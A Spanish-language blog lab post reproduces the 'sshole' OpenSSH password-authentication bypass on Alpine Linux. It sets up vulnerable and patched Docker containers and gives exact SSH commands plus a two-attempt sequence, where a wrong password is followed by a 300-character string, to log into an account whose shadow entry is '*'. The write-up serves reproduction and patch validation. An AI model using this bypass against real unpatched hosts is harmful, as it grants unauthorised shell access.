Laboratorio: sshole (CVE-2026-123158) en Alpine Linux con Docker

Laboratorio: sshole (CVE-2026-123158) en Alpine Linux con Docker

sshole es una vulnerabilidad de bypass de autenticación por contraseña en OpenSSH cuando se ejecuta sobre musl (el caso de Alpine Linux) y sin PAM. En condiciones específicas, cualquier cuenta cuyo campo de contraseña en /etc/shadow sea * acepta cualquier contraseña de entre 257 y 1024 bytes.

Se ha documentado en la siguiente pagina de Alpine: https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/

En esta entrada reproduzco el fallo de forma controlada con Docker, tanto en una versión vulnerable como en una ya parcheada.

Requisitos

  • Docker
  • Un cliente SSH (el de cualquier distribución actual sirve)

1. Contenedor vulnerable

Usamos Alpine 3.15 porque las tags más recientes ya incluyen los paquetes parcheados.

Bash

docker rm -f alpine-vuln 2>/dev/null

docker run -d --name alpine-vuln -p 2222:22 alpine:3.15 sh -c '
  apk add --no-cache openssh-server &&
  ssh-keygen -A &&
  adduser -D -s /bin/sh victim &&
  adduser -D -s /bin/sh helper &&
  echo "helper:HelperPass123" | chpasswd &&
  sed -i "s/^victim:[^:]*:/victim:*:/" /etc/shadow &&
  echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config &&
  /usr/sbin/sshd -D -e
'

Comprobaciones rápidas:

Bash

docker exec alpine-vuln grep -E "^(victim|helper):" /etc/shadow
docker exec alpine-vuln apk info -v openssh-server

Deberías ver victim:* y un hash real en helper.

2. Prueba con contraseña normal (debe fallar)

Bash

ssh -p 2222 \
  -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no \
  [email protected]

Introduce cualquier contraseña corta (por ejemplo wrong). El acceso es denegado, como es de esperar.

3. Prueba con contraseña larga (bypass)

Vuelve a lanzar el mismo comando SSH:

Bash

ssh -p 2222 \
  -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no \
  -o NumberOfPasswordPrompts=3 \
  [email protected]
  1. Primer password: escribe cualquier cosa (ej: wrong) → falla.
  2. Segundo password: pega una cadena de 300 letras A.

El segundo intento es aceptado y entras como victim.

Nota: el primer intento es necesario. En la misma conexión, OpenSSH “prepara” el salt usando la otra cuenta. A partir del segundo intento el bypass funciona.

4. Contenedor con la versión parcheada

Bash

docker rm -f alpine-fixed 2>/dev/null

docker run -d --name alpine-fixed -p 2223:22 alpine:3.24 sh -c '
  apk update && apk upgrade -U -a &&
  apk add --no-cache openssh-server &&
  ssh-keygen -A &&
  adduser -D -s /bin/sh victim &&
  adduser -D -s /bin/sh helper &&
  echo "helper:HelperPass123" | chpasswd &&
  sed -i "s/^victim:[^:]*:/victim:*:/" /etc/shadow &&
  echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config &&
  /usr/sbin/sshd -D -e
'

5. Validar que el parche funciona

Repite exactamente la misma prueba de contraseña larga contra el puerto 2223:

Bash

ssh -p 2223 \
  -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no \
  -o NumberOfPasswordPrompts=3 \
  [email protected]
  1. Primer password: cualquier cosa → falla.
  2. Segundo password: 300 A → también falla.

El bypass ya no es posible.

Limpieza

Bash

docker rm -f alpine-vuln alpine-fixed

Esta es la forma más sencilla de reproducir sshole en local y comprobar que la actualización de Alpine cierra el vector.

Suscribete para no perderte nada